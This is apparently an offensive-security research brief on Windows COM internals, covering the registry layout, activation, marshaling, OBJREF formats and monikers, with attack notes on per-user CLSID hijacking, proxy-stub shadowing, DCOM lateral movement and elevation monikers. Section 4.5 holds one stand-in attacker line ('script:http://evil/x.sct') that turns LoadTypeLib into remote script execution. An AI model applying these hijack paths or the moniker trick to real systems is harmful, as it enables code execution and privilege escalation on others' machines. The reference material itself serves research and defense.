# R1 — COM Internals Fundamentals (research brief)

## 1. What COM is and why it matters to an attacker

COM (Component Object Model, 1993) is Windows' binary-level component standard: a way for code in one binary (or process, or machine, or session, or integrity level) to call code in another through **interfaces**, without caring about compiler, language, or location. It is the substrate under OLE, ActiveX, DirectX, WMI, the shell, Office automation, WinRT, UAC, and most Microsoft management tooling. Practically every Windows process loads `combase.dll`/`ole32.dll`; thousands of COM classes are registered by default; and **activation is driven entirely by the registry**, which is why COM is simultaneously (a) the richest execution/persistence/escalation attack surface on Windows and (b) almost invisible to file-less-malware defenses.

Key security property that everything else follows from: **the mapping from a 128-bit class GUID to executable code lives in `HKCR\CLSID`, and `HKCR` is a merged view where per-user (`HKCU\Software\Classes`) registrations silently override system (`HKLM\Software\Classes`) ones.** COM trusts that mapping; attackers edit it.

### Core runtime components

| Binary / service | Role |
|---|---|
| `combase.dll` | Modern client-side COM runtime (CoCreateInstance, activation, marshaling, security). Most legacy `ole32.dll` exports forward here. |
| `ole32.dll` | Legacy runtime (OLE1/OLE2 embedding, monikers, ROT, clipboard); forwards most Co* APIs to combase. |
| `oleaut32.dll` | Automation: VARIANT, BSTR, SAFEARRAY, type libraries, the **universal (TypeLib-driven) marshaler**, `IDispatch`. |
| `rpcss.dll` | The COM "SCM"/activator, ROT store, OXID resolver, endpoint mapper support. Runs inside the **RpcSs** service (`svchost -k rpcss`). |
| `svchost -k DcomLaunch` | **DCOM Server Process Launcher** — starts out-of-process COM servers (`LocalServer32` EXEs, services, `dllhost.exe` surrogates). |
| `dllhost.exe /Processid:{AppID}` | Default **surrogate** process that hosts in-proc DLL classes out-of-process when an AppID has a `DllSurrogate` value (empty = default). |

---

## 2. The object model

### 2.1 Interfaces = vtables (binary contract)

A COM "interface" is nothing more than a pointer to a **vtable** — an array of function pointers in a fixed order, forever. C++ abstract-base-class layout is the canonical mapping:

```
Client holds:   pItf ──► [ vptr ] ──► vtable[0] = QueryInterface
                                      vtable[1] = AddRef
                                      vtable[2] = Release
                                      vtable[3] = <first interface-specific method>
```

Rules that make COM a *binary* standard: method order never changes; an interface is **immutable** once published (identified by an IID); all methods return `HRESULT`; the first 3 slots are always `IUnknown`.

**`IUnknown` — IID `{00000000-0000-0000-C000-000000000046}`:**
```cpp
struct IUnknown {
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void **ppvObject) = 0;
    virtual ULONG   STDMETHODCALLTYPE AddRef(void) = 0;
    virtual ULONG   STDMETHODCALLTYPE Release(void) = 0;   // object self-destructs at refcount 0
};
```
- `QueryInterface` is the **only** discovery mechanism: ask an object "do you implement IID X?" — rules: reflexive, symmetric, transitive; `QI(IID_IUnknown)` must always return the same pointer (object identity).
- Multiple interfaces on one object = multiple vptrs (C++ multiple inheritance with adjusting thunks). `IUnknown` appears once per base vtable, but identity is preserved via the primary `IUnknown`.

`HRESULT` is a 32-bit structured code: bit31 = severity (1 = failure), bits 16–26 = facility (1=RPC, 2=Dispatch, 3=Storage, 4=ITF/interface-specific, 7=Win32), bits 0–15 = code. Relevant constants: `S_OK=0`, `S_FALSE=1`, `E_NOINTERFACE=0x80004002`, `E_POINTER=0x80004003`, `E_ACCESSDENIED=0x80070005`, `REGDB_E_CLASSNOTREG=0x80040154`, `MK_E_SYNTAX`, `CO_E_ELEVATION_DISABLED`, `CO_E_MISSING_DISPLAYNAME`, `CO_E_RUNAS_VALUE_MUST_BE_AAA` (elevation errors), `RPC_E_CHANGED_MODE` (apartment conflict).

### 2.2 `IDispatch` — late binding for script (the automation engine)

**IID `{00020400-0000-0000-C000-000000000046}`** — vtable slots 3–6:
```cpp
HRESULT GetTypeInfoCount(UINT *pctinfo);
HRESULT GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo);
HRESULT GetIDsOfNames(REFIID riid, LPOLESTR *rgszNames, UINT cNames, LCID lcid, DISPID *rgDispId);
/* [local] */ HRESULT Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags,
                             DISPPARAMS *pDispParams, VARIANT *pVarResult,
                             EXCEPINFO *pExcepInfo, UINT *puArgErr);
/* wire: [call_as(Invoke)] RemoteInvoke(..., UINT cVarRef, UINT *rgVarRefIdx, VARIANTARG *rgVarRef) */
```
- Callers pass **names** (`GetIDsOfNames` → numeric `DISPID`) then `Invoke(DISPID, args-as-VARIANT-array)`. This is what `New-Object -ComObject`, VBScript `CreateObject`, JScript, VBA and `IDispatch`-only clients use.
- A **dual interface** exposes both a custom vtable and `IDispatch` — marked `dual` in IDL, described by a type library.
- `wFlags`: `DISPATCH_METHOD=0x1`, `DISPATCH_PROPERTYGET=0x2`, `DISPATCH_PROPERTYPUT=0x4`, `DISPATCH_PROPERTYPUTREF=0x8`. `DISPPARAMS = { VARIANTARG *rgvarg; DISPID *rgdispidNamed; UINT cArgs; UINT cNamedArgs; }` — arguments are passed **in reverse order**.
- Attack relevance: any class registered with `Programmable` + a dual interface is scriptable code execution plumbing (`WScript.Shell` `{72C24DD5-D70A-438B-8A42-98424B88AFB8}`, `Shell.Application` `{13709620-C279-11CE-A49E-444553540000}`, `MMC20.Application` `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`, Office `*.Application`, `InternetExplorer.Application` `{0002DF01-0000-0000-C000-000000000046}`, `Scripting.FileSystemObject` `{0D43FE01-F093-11CF-8940-00A0C9054228}`, `Schedule.Service` `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}`).

### 2.3 Class factories

Every creatable class exposes a class object implementing **`IClassFactory` — IID `{00000001-0000-0000-C000-000000000046}`**:
```cpp
HRESULT CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject); // pUnkOuter ≠ NULL only for aggregation
HRESULT LockServer(BOOL fLock);   // pin server in memory
```
(`IClassFactory2` `{B196B28F-BAB4-101A-B69C-00AA00341D07}` adds licensing: `GetLicInfo`, `RequestLicKey`, `CreateInstanceLic`.)

**Aggregation vs containment**: `CoCreateInstance(..., pUnkOuter, ...)` passes a controlling outer `IUnknown`; inner object delegates its `IUnknown` to the outer (identity fusion) while keeping private inner vtables. Aggregation bugs (identity confusion, blind-AddRef/Release) are a classic LPE bug class ("trapped objects").

---

## 3. Identity: GUIDs and friends

Everything in COM is named by a **GUID**: 16 bytes, string form `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}` (`Data1` u32, `Data2`/`Data3` u16, `Data4` u8[8]; generated by `CoCreateGuid`/`UuidCreate`, version-4 random). String↔binary: `CLSIDFromString`/`IIDFromString`/`StringFromGUID2`, `StringFromCLSID`.

| Name | Identifies | Registry home |
|---|---|---|
| **CLSID** | a class (implementation) | `HKCR\CLSID\{CLSID}` |
| **IID** | an interface (vtable contract) | `HKCR\Interface\{IID}` |
| **AppID** | deployment/security group of classes | `HKCR\AppID\{AppID}` |
| **ProgID** | human-readable class alias, `Vendor.Component[.Version]`, ≤39 chars | `HKCR\<ProgID>` |
| **LIBID** | a type library + version (major.minor) | `HKCR\TypeLib\{LIBID}\<ver>` |
| **CATID** | component category (e.g. "Insertable control") | `HKCR\Component Categories\{CATID}` |

Conversions: `CLSIDFromProgID` (reads `HKCR\<ProgID>\CLSID`), `ProgIDFromCLSID` (reads `HKCR\CLSID\{CLSID}\ProgID`), `VersionIndependentProgID` + `CurVer` chain. Uniqueness is by convention only — nothing validates collisions → ProgID squatting is trivial.

---

## 4. Registry layout (the COM "database")

### 4.1 The merged view — the single most important security fact

`HKEY_CLASSES_ROOT` is **not a real hive**; it is a merged view of:
- `HKLM\SOFTWARE\Classes` (system-wide; admin/TrustedInstaller to write)
- `HKCU\SOFTWARE\Classes` (per-user; **writable by the unprivileged user**)

**Per-user keys win** in the merged view. Writes to `HKCR` from a standard user are silently redirected to `HKCU\Software\Classes`. This applies to `CLSID`, `AppID`, `Interface`, `TypeLib`, ProgIDs and file associations → the entire CLSID→code resolution can be shadowed per-user with no privileges. This is the root primitive of COM hijacking (persistence/UAC-bypass chapters).

64-bit vs 32-bit: `HKCR\WOW6432Node\CLSID` (and `WOW6432Node\AppID`, `WOW6432Node\Interface`, `WOW6432Node\TypeLib`) hold 32-bit registrations; 32-bit processes writing `HKLM\SOFTWARE\Classes\CLSID` are redirected there. COM bitness must match the client unless an out-of-proc server or `PreferredServerBitness` (AppID value, 1=32-bit, 2=64-bit) is used; `CLSCTX_ACTIVATE_32_BIT_SERVER=0x40000` / `CLSCTX_ACTIVATE_64_BIT_SERVER=0x80000` force it.

### 4.2 `HKCR\CLSID\{CLSID}` — anatomy

```
HKCR\CLSID\{XXXXXXXX-...}
  (Default)                     = "Friendly class name"
  AppID                         = "{AppID-GUID}"            (value; links to security config)
  LocalizedString               = "@C:\path\to.dll,-101"    (value; MUI name for UAC consent)
  \InprocServer32
      (Default)                 = "C:\...\server.dll"
      ThreadingModel            = "" | "Apartment" | "Free" | "Both" | "Neutral"
  \LocalServer32
      (Default)                 = "C:\...\server.exe"  (may include args)
      ServerExecutable          = "C:\...\server.exe"  (optional)
  \InprocHandler32              = handler DLL (handler marshaling)
  \ProgID                       = "Vendor.Component.1"
  \VersionIndependentProgID     = "Vendor.Component"
  \TypeLib                      = "{LIBID}"
  \TreatAs                      = "{OtherCLSID}"   (full emulation redirect — checked FIRST)
  \AutoTreatAs                  = "{OtherCLSID}"   (auto version-update redirect)
  \Control / \Insertable / \Programmable   (marker subkeys)
  \Implemented Categories\{CATID}
  \DefaultIcon, \ToolboxBitmap32, \MiscStatus, \Version, \Verb
  \Elevation
      Enabled                   = 1 (DWORD; class is LUA/auto-elevation capable)
      IconReference             = "@path,-resid"
```

`ThreadingModel` semantics: *(absent)* = legacy single-threaded → object must live in the **first (main) STA** of the process; `Apartment` = any STA; `Free` = MTA only; `Both` = same apartment as client (STA or MTA); `Neutral` = thread-neutral apartment (COM+). Wrong model ⇒ COM spins up a different apartment and **marshals** (cross-apartment call via proxy).

### 4.3 `HKCR\AppID\{AppID}` — security configuration

Named values (binary ACLs are self-relative `SECURITY_DESCRIPTOR`s, editable in `dcomcnfg.exe` → Component Services → DCOM Config):

| Value | Meaning |
|---|---|
| `(Default)` | Friendly name |
| `LaunchPermission` | Binary ACL: who may **activate** (checked by RPCSS at launch) |
| `AccessPermission` | Binary ACL: who may **call** (checked in server process at first access / by CoInitializeSecurity default) |
| `AuthenticationLevel` | DWORD override of `RPC_C_AUTHN_LEVEL_*` |
| `RunAs` | `"Interactive User"` or a user name → server runs as that identity (absent = launching user); **cross-session activation when set to Interactive User** |
| `LocalService` + `ServiceParameters` | Run as a Windows service (SCM start) |
| `DllSurrogate` | Custom surrogate path; **empty string = default `dllhost.exe`** |
| `RemoteServerName` | Default remote host (legacy) |
| `ActivateAtStorage` | DWORD 1 = activate where persistent data lives |
| `ROTFlags` | DWORD 1 = allow any client ROT visibility |
| `AppIDFlags` | e.g. `APPIDREGFLAGS_AAA_NO_IMPERSONATE=0x8` |
| `PreferredServerBitness` | 1 = 32-bit, 2 = 64-bit |
| `LoadUserSettings` | load user hive in server |
| `Endpoints` | restrict RPC protocol sequences (multi_sz) |
| `\Elevation\Enabled=1` | (under CLSID, see 4.2) auto-elevate capable |

Also `HKCR\AppID\<program.exe>` (named after the EXE) with value `AppID={guid}` maps an EXE to its AppID. AppIDs are also where **elevation marking** and **DCOM reachability** come from: a class with no AppID cannot be launched remotely and cannot elevate.

### 4.4 `HKCR\Interface\{IID}` — marshaling glue

```
HKCR\Interface\{IID}
  (Default)            = "IMyInterface"
  \ProxyStubClsid32    = "{CLSID of the proxy/stub DLL}"   <- loaded into BOTH client & server processes
  \ProxyStubClsid      = 16-bit legacy
  \NumMethods          = "7"
  \BaseInterface       = "{IID of parent}"
  \TypeLib             = "{LIBID}" (+ \Version)
```
- `ProxyStubClsid32 = {00020424-0000-0000-C000-000000000046}` (**PSOAInterface**, the oleaut32 "universal marshaler") ⇒ interface is marshaled **TypeLib-driven** (requires `[oleautomation]`-compatible types). `PSDispatch = {00020420-0000-0000-C000-000000000046}` does the same for pure `IDispatch`.
- Otherwise the CLSID points at a MIDL-generated proxy/stub DLL (which itself has a `HKCR\CLSID` entry with `InprocServer32`).
- **Attack note**: this key is the marshaling trust anchor — a per-user `ProxyStubClsid32` shadow injects a DLL into every process that marshals that interface, including privileged COM servers.

### 4.5 `HKCR\TypeLib\{LIBID}` — type libraries

```
HKCR\TypeLib\{LIBID}
  \<major.minor>          (Default) = "MyLib 1.0 Type Library"
      \0\win32            (Default) = "C:\...\lib.tlb"     (0 = LCID-neutral)
      \0\win64            (Default) = 64-bit tlb
      \9\win32            (Default) = LCID 9 (en-US) localized tlb
      \FLAGS              = "0"  (LIBFLAG: 1=RESTRICTED, 2=CONTROL, 4=HIDDEN, 8=HASDISKIMAGE)
      \HELPDIR            = path
```
APIs: `LoadTypeLib(path)` / `LoadTypeLibEx`, `LoadRegTypeLib(LIBID, wVerMajor, wVerMinor, lcid)`, `RegisterTypeLib`/`UnRegisterTypeLib`, `QueryPathOfRegTypeLib`. Type libraries are binary (magic `MSFT` = 0x5446534D) or embedded in PEs as `TYPELIB` resources; `stdole2.tlb`/`stdole32.tlb` are the system ones. **`LoadTypeLib` quirk (Outflank research): if the path is not a standalone/embedded TLB, the string is parsed as a moniker display name** → `"script:http://evil/x.sct"` reaches the script moniker → code execution from a "data" API. This underpins both TypeLib hijacking (persistence chapter) and VS poisoning attacks.

### 4.6 Machine-wide OLE policy — `HKLM\SOFTWARE\Microsoft\Ole`

| Value | Meaning |
|---|---|
| `EnableDCOM` ("Y"/"N") | Master remote-activation switch |
| `EnableRemoteConnect` ("Y"/"N") | Remote *access* (non-activation) switch |
| `DefaultLaunchPermission` / `DefaultAccessPermission` | Binary ACLs used when an AppID omits its own |
| `MachineLaunchRestriction` / `MachineAccessRestriction` | Hard **ceiling** ACLs applied to every activation/access |
| `LegacyAuthenticationLevel` (DWORD) | Process default when app doesn't call CoInitializeSecurity (2=`CONNECT`; raised to `PKT_INTEGRITY`=5 by hardening) |
| `LegacyImpersonationLevel` (DWORD) | Default client impersonation level (commonly 2=Identify; many vendor hardening scripts set 3=Impersonate) |
| `AppCompat\RequireIntegrityActivationAuthenticationLevel` (DWORD) | CVE-2021-26414 kill-switch: 1 = DCOM servers reject activation below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` |
| `AppCompat\RaiseActivationAuthenticationLevel` (DWORD) | 2 = clients auto-raise non-anonymous activation to PKT_INTEGRITY (Nov 2022) |

### 4.7 Registration-free COM (SxS)

Classes can be registered in an **activation-context manifest** instead of the registry: `<file><comClass clsid="..." threadingModel="..." tlbid="..." progid="..."/></file>`, `<comInterfaceExternalProxyStub iid="..." proxyStubClsid32="...">`, `<typelib tlbid="...">`. Driven by `CreateActCtx`/`ActivateActCtx`; Windows itself ships manifests under `%WinDir%\WinSxS\Manifests` (`.NET`/isolated COM). Lookup order during activation: **active activation context → process manifest → application manifest → registry**. Attack relevance: reg-free entries are invisible to naive `HKCR` hunting and are a stealthy hijack/persistence path (an attacker-controlled manifest for a hijacked CLSID needs no registry write at all).

---

## 5. Activation internals (step by step)

### 5.1 Client-side APIs (exact signatures)

```cpp
HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
//  dwCoInit: COINIT_MULTITHREADED=0x0 | COINIT_APARTMENTTHREADED=0x2
//            | COINIT_DISABLE_OLE1DDE=0x4 | COINIT_SPEED_OVER_MEMORY=0x8
HRESULT CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
HRESULT CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext, LPVOID pvReserved, REFIID riid, LPVOID *ppv);
HRESULT CoCreateInstanceEx(REFCLSID rclsid, IUnknown *punkOuter, DWORD dwClsCtx,
                           COSERVERINFO *pServerInfo, DWORD dwCount, MULTI_QI *pResults);
//  COSERVERINFO { DWORD dwReserved1; LPWSTR pwszName; COAUTHINFO *pAuthInfo; DWORD dwReserved2; }
//  MULTI_QI     { const IID *pIID; IUnknown *pItf; HRESULT hr; }
HRESULT CoGetObject(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
HRESULT CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid);
```

`CoCreateInstance` literally expands to: `CoGetClassObject(clsid, ctx, NULL, IID_IClassFactory, &pCF); pCF->CreateInstance(pUnkOuter, riid, ppv); pCF->Release();`

**CLSCTX** (`wtypes.h`): `INPROC_SERVER=0x1`, `INPROC_HANDLER=0x2`, `LOCAL_SERVER=0x4`, `INPROC_SERVER16=0x8`, `REMOTE_SERVER=0x10`, `INPROC_HANDLER16=0x20`, `NO_CODE_DOWNLOAD=0x400`, `NO_CUSTOM_MARSHAL=0x1000`, `ENABLE_CODE_DOWNLOAD=0x2000`, `NO_FAILURE_LOG=0x4000`, `DISABLE_AAA=0x8000`, `ENABLE_AAA=0x10000`, `FROM_DEFAULT_CONTEXT=0x20000`, `ACTIVATE_32_BIT_SERVER=0x40000`, `ACTIVATE_64_BIT_SERVER=0x80000`, `ENABLE_CLOAKING=0x100000`, `APPCONTAINER=0x400000`, `ACTIVATE_AAA_AS_IU=0x800000`, `PS_DLL=0x80000000`; composites `ALL=0x17`, `SERVER=0x15`.

### 5.2 In-process activation (`CLSCTX_INPROC_SERVER`)

1. combase resolves `HKCR\CLSID\{clsid}`: **`TreatAs`/`AutoTreatAs` first** (recursive redirect), then the SxS activation context, then `InprocServer32` (bitness-aware view).
2. `LoadLibraryW(server.dll)` (subject to DLL search order + KnownDLLs + Safer/AppLocker).
3. `GetProcAddress("DllGetClassObject")` → call `DllGetClassObject(rclsid, riid, &pv)` — every COM DLL exports `DllGetClassObject`, `DllCanUnloadNow`, optionally `DllRegisterServer`/`DllUnregisterServer` (invoked by `regsvr32.exe`).
4. Server returns its class factory; `IClassFactory::CreateInstance` news the object and QIs the requested IID.
5. Unload path: `CoFreeUnusedLibraries` periodically calls `DllCanUnloadNow` → `S_OK` ⇒ `FreeLibrary`.

**Attack surface at each step**: TreatAs redirect (no DLL load of the real class), phantom `InprocServer32` path (plant DLL), search-order planting, unsigned DLL load into arbitrary (incl. elevated/PPL-adjacent) processes, refcount/UAF bugs in unload.

### 5.3 Local out-of-process activation (`CLSCTX_LOCAL_SERVER`)

1. combase sees no (or excluded) in-proc server → asks the **activator** over ALPC/LRPC: in modern Windows this is the **`ISystemActivator`/`IRemoteSCMActivator` interface, GUID `{000001A0-0000-0000-C000-000000000046}`**, implemented by `rpcss.dll` (and mirrored in-process in combase for the local fast path).
2. RPCSS validates: `HKLM\...\Ole!MachineLaunchRestriction` → AppID `LaunchPermission` (or `DefaultLaunchPermission`) → identity selection:
   - default **launching user** (server started with caller's token),
   - `RunAs` = specific user (prompted/stored credentials) or `Interactive User` (**server in the currently-logged-on session — cross-session primitive**),
   - `LocalService` = start service via SCM.
3. RPCSS (via DcomLaunch) starts the process: `LocalServer32` command line **with the `-Embedding` switch**, or `dllhost.exe /Processid:{AppID}` for surrogates, or the service.
4. The server process: `CoInitializeEx` → creates its class factories → **`CoRegisterClassObject(clsid, pCF, CLSCTX_LOCAL_SERVER, REGCLS_*, &dwCookie)`** — registration lands in RPCSS's class table. Flags: `REGCLS_SINGLEUSE=0` (one activation then dead), `MULTIPLEUSE=1`, `MULTI_SEPARATE=2`, `SUSPENDED=4` (register all, then `CoResumeClassObjects()` atomically), `SURROGATE=8`.
5. RPCSS marshals the class-factory reference (`OBJREF`) back to the client.
6. Client unmarshals → proxy for `IClassFactory` → `CreateInstance` call goes over ORPC → server returns the requested interface pointer, again as an `OBJREF`; client builds the interface proxy/stub chain (from `HKCR\Interface\{IID}\ProxyStubClsid32`).
7. Lifetime: client holds refs; server stays alive until last external ref + `LockServer` count drop → server calls `CoRevokeClassObject` and exits.

### 5.4 Remote activation (DCOM)

Client passes `COSERVERINFO{pwszName="HOST"}` (or `RemoteServerName`, or an `ActivateAtStorage`/moniker path): local RPCSS forwards to remote host **TCP 135** → `IRemoteSCMActivator` opnums:
- `RemoteGetClassObject` (3), `RemoteGetInstanceFromFile` (4), `RemoteGetInstanceFromStorage` (5), `RemoteCreateInstance` (6).

Parameters are marshaled activation-property blobs (`IActivationPropertiesIn/Out` containing `IInstantiationInfo`{CLSID, CLSCTX, IID array}, `ISecurityInfo`{authn/authz levels}, `IActivationPropertiesOut` → `PropsOutInfo { DWORD cifs; IID *piid; HRESULT *phr; MInterfacePointer **ppIntfData; }`), where `MInterfacePointer = { ULONG ulCntData; byte abData[]; }` is a little-endian **OBJREF**. After activation, method calls flow over **dynamic RPC ports** negotiated via `IOXIDResolver`. Windows Firewall exception group: "COM+ Network Access"/DCOM TCP135 + dynamic range.

The `CoCreateInstanceEx` DCOM path is what lateral movement rides on: `MMC20.Application`, `ShellWindows`, `ShellBrowserWindow`, `ExcelDDE`, `Visio`, `Outlook`, the Control Panel abuse (Securelist), etc.

### 5.5 Moniker-based activation

`CoGetObject(name, bindopts, iid, ppv)` = `MkParseDisplayName` + `BindToObject`. Display-name parsing: prefix before the first `:` is resolved as a **ProgID** → class implementing `IParseDisplayName` (`{0000001A-0000-0000-C000-000000000046}`) builds the moniker (e.g. `clsid:`, `new:`, `session:`, `Elevation:`, `script:`, `queue:`, `soap:`); otherwise a file path builds a FileMoniker; `!` composes monikers into a **CompositeMoniker** `{00000309-0000-0000-C000-000000000046}` (right-to-left bind; the left part becomes `pmkToLeft`).

---

## 6. Marshaling and the DCOM wire

### 6.1 Proxy/stub architecture

When caller and object are in different apartments/processes/machines, COM splits the call:
- **Proxy** (client side, `IRpcProxyBuffer`) packs arguments (NDR) → channel (`IRpcChannelBuffer` over RPC runtime) →
- **Stub** (server side, `IRpcStubBuffer::Invoke`) unpacks, calls the real method, packs the return.
- Factory: **`IPSFactoryBuffer`** (`GetProxyIID`, `CreateProxy`, `CreateStub`), registered via `HKCR\Interface\{IID}\ProxyStubClsid32`.

Three marshaling flavors, recorded in the OBJREF `flags`:
1. **Standard** (0x1): MIDL-generated PS DLL, or the **universal marshaler** (`PSOAInterface {00020424-...}`) which marshals any `[oleautomation]` interface by reading its TypeLib at runtime.
2. **Handler** (0x2): light client-side handler DLL (`InprocHandler32`) + standard reference.
3. **Custom** (0x4): object implements **`IMarshal`** (`{00000003-0000-0000-C000-000000000046}`: `GetUnmarshalClass`, `GetMarshalSizeMax`, `MarshalInterface`, `UnmarshalInterface`, `ReleaseMarshalData`, `DisconnectObject`). OBJREF_CUSTOM carries `{CLSID of unmarshal class, cbExtension, size, pData[]}` — an **attacker-controlled blob deserialized by `IMarshal::UnmarshalInterface` of an arbitrary registered class**. This is the Forged-OLEData/relay bug class (cf. POTATO-style `CoGetInstanceFromIStorage` OBJREF forgery, and `EOAC_NO_CUSTOM_MARSHAL`/`CLSCTX_NO_CUSTOM_MARSHAL` mitigations).
- Client-side convenience APIs: `CoMarshalInterface`, `CoUnmarshalInterface`, `CoMarshalInterThreadInterfaceInStream` + `CoGetInterfaceAndReleaseStream`, `CoCreateFreeThreadedMarshaler` (FTM CLSID `{00000333-0000-0000-C000-000000000046}` — a custom marshaler whose blob is just the raw pointer; neutralizes apartment checks; a classic source of "marshaled" objects being callable from any thread), and the **Global Interface Table** (service-wide cookie↔pointer store: `IGlobalInterfaceTable` `{00000146-0000-0000-C000-000000000046}` on `CLSID_StdGlobalInterfaceTable {00000323-0000-0000-C000-000000000046}`; `RegisterInterfaceInGlobal`/`GetInterfaceFromGlobal`/`RevokeInterfaceFromGlobal`).

### 6.2 OBJREF — the marshaled interface pointer (on the wire: `MEOW`)

```c
typedef struct tagOBJREF {
    unsigned long signature;   // 0x574F454D == 'MEOW' (little-endian)
    unsigned long flags;       // OBJREF_STANDARD=0x1 | HANDLER=0x2 | CUSTOM=0x4 | EXTENDED=0x8
    GUID          iid;         // IID being marshaled
    union {
        struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; }                    u_standard;
        struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; }       u_handler;
        struct { CLSID clsid; unsigned long cbExtension, size; byte *pData; }   u_custom;
        struct { STDOBJREF std; unsigned long Signature1; DUALSTRINGARRAY saResAddr;
                 unsigned long nElms; unsigned long Signature2; DATAELEMENT ElmArray; } u_extended;
    } u_objref;
} OBJREF;

typedef unsigned __int64 OXID;   // object exporter  (per apartment+protocol, machine-unique)
typedef unsigned __int64 OID;    // object identity  (per exporter)
typedef GUID             IPID;   // interface pointer (per object)

typedef struct tagSTDOBJREF {
    unsigned long flags;        // SORF_* (SORF_NOPING=0x1000)
    unsigned long cPublicRefs;  // refcounts transferred with this marshaling
    OXID oxid; OID oid; IPID ipid;
} STDOBJREF;

typedef struct tagSTRINGBINDING   { unsigned short wTowerId;       /* 0x07=ncacn_ip_tcp, 0x1F=ncacn_http */
                                    unsigned short aNetworkAddr; } STRINGBINDING;   // zero-terminated
typedef struct tagSECURITYBINDING { unsigned short wAuthnSvc;      /* 0x0A=NTLM(WinNT), 0x09=Kerberos, 0xFFFF=none */
                                    unsigned short wAuthzSvc; unsigned short aPrincName; } SECURITYBINDING;
typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; unsigned short wSecurityOffset;
                                    unsigned short aStringArray[]; } DUALSTRINGARRAY;
```
`MEOW` is trivially greppable in packet captures and memory — the universal indicator of a marshaled COM reference (useful for both offense, e.g. carving OBJREFs, and detection rules).

### 6.3 ORPC call flow, OXID resolution, liveness

1. Client unmarshals OBJREF → needs the exporter's RPC bindings: calls **`IOXIDResolver`** (a.k.a. `IObjectExporter`, UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, on the exporter machine via RPCSS/135) → `ResolveOxid2(oxid, cRequestedProtseqs, arRequestedProtseqs[], &dsa, &ipidRemUnknown, &authnHint, &comVersion)` returns the string bindings (dynamic TCP port).
2. Calls are normal MS-RPCE with an **ORPC extension** (`ORPCTHIS`/`ORPCTHAT`: causality GUID, extensions) to the resolved endpoint, dispatched by **IPID** → stub manager → interface stub → apartment → method. Standard IPIDs: `IRemUnknown` `{00000131-0000-0000-C000-000000000046}` (`RemQueryInterface`, `RemAddRef`, `RemRelease`) and `IRemUnknown2` `{00000143-...}` handle remote QI/refcounting.
3. **Pinging/liveness**: `IOXIDResolver::SimplePing(pingId)`, `ComplexPing` (set semantics) keep OIDs alive; missed pings ⇒ server garbage-collects stubs; client `Release` → `RemRelease` decrements `cPublicRefs`.

---

## 7. Apartments and threading (condensed but exact)

- Thread joins COM via `CoInitializeEx(NULL, COINIT_APARTMENTTHREADED=0x2)` → **STA** (one per thread; COM creates a hidden window — class `OleMainThreadWndClass` — whose WndProc dispatches cross-apartment calls) or `COINIT_MULTITHREADED=0x0` → **MTA** (one per process). A thread that never initializes is in the **implicit MTA** once the process has COM. `RPC_E_CHANGED_MODE` on re-init conflicts.
- STA owners **must pump messages** (`GetMessage/DispatchMessage`); otherwise cross-apartment calls to its objects hang (and the reverse-channel reentrancy during an outgoing call is a classic deadlock/exploit-reliability issue). MTA objects are called on arbitrary RPC thread-pool threads → must self-synchronize.
- Cross-apartment interface passing must be marshaled (`CoMarshalInterThreadInterfaceInStream`, GIT) — except objects aggregating the FTM, or `Neutral` (TNA) components.
- Server-side dispatch: incoming ORPC calls to an STA are **posted as window messages**; to an MTA, executed directly on RPC threads.

## 8. Monikers and the Running Object Table (detail)

`IMoniker` (`{0000000F-0000-0000-C000-000000000046}`) methods: `BindToObject`, `BindToStorage`, `Reduce`, `ComposeWith`, `Enum`, `IsEqual`, `Hash`, `IsRunning`, `GetTimeOfLastChange`, `Inverse`, `CommonPrefixWith`, `RelativePathTo`, `GetDisplayName`, `ParseDisplayName`, `IsSystemMoniker`. Bind context `IBindCtx` (`{0000000E-...}`) carries `BIND_OPTS{cbStruct, grfFlags, grfMode, dwTickCountDeadline}`, `BIND_OPTS2` adds `{dwTrackFlags, dwClassContext, locale, pServerInfo}`, **`BIND_OPTS3` adds `hwnd`** (consent-UI parent — used with elevation monikers).

System moniker catalog (CLSID / display prefix / server):
| Moniker | CLSID | Prefix | Notes |
|---|---|---|---|
| File | `{00000303-0000-0000-C000-000000000046}` | path | binds via class of extension |
| Item | `{00000304-...}` | `!item` | composite right part |
| Anti | `{00000305-...}` | — | inverse/cancel |
| Pointer | `{00000306-...}` | — | wraps live pointer |
| Composite | `{00000309-...}` | `A!B` | left-to-right composition |
| Class | `{0000031A-...}` | `clsid:{...}` | thin wrapper over CoGetClassObject/CreateInstance |
| **New** | `{ECABAFC6-7F19-11D2-978E-0000F8757E2A}` | `new:{clsid}` or `new:ProgID` | instantiate via moniker (Office-blacklisted) |
| **Session** | *(CLSID unverified — confirm in OleViewDotNet; syntax documented)* | `session:N!new:{clsid}` | activates in another logon session (cross-session LPE primitive; cf. Forshaw research / CVE-2017-0100 class) |
| **Elevation** | *(implemented in combase; CLSID unverified)* | `Elevation:Administrator!new:{clsid}` / `Elevation:Highest!new:` | UAC bridge |
| **Script** | `{06290BD3-48AA-11D2-8432-006008C3FBFC}` | `script:URL` / `scriptlet:URL` | `scrobj.dll`; downloads & runs Windows Script Component; ProgIDs `script`,`scriptlet` |
| Scriptlet Factory | `{06290BD2-...}` (`Scriptlet.Factory`) | — | `IPersistMoniker`-bindable scriptlet constructor |
| Queue | `{ECABAFC7-7F19-11D2-978E-0000F8757E2A}` | `queue:` | MSMQ queued components |
| SOAP | `{ECABB0C7-7F19-11D2-978E-0000F8757E2A}` | `soap:wsdl=...` | CVE-2017-8759 (.NET WSDL RCE) |

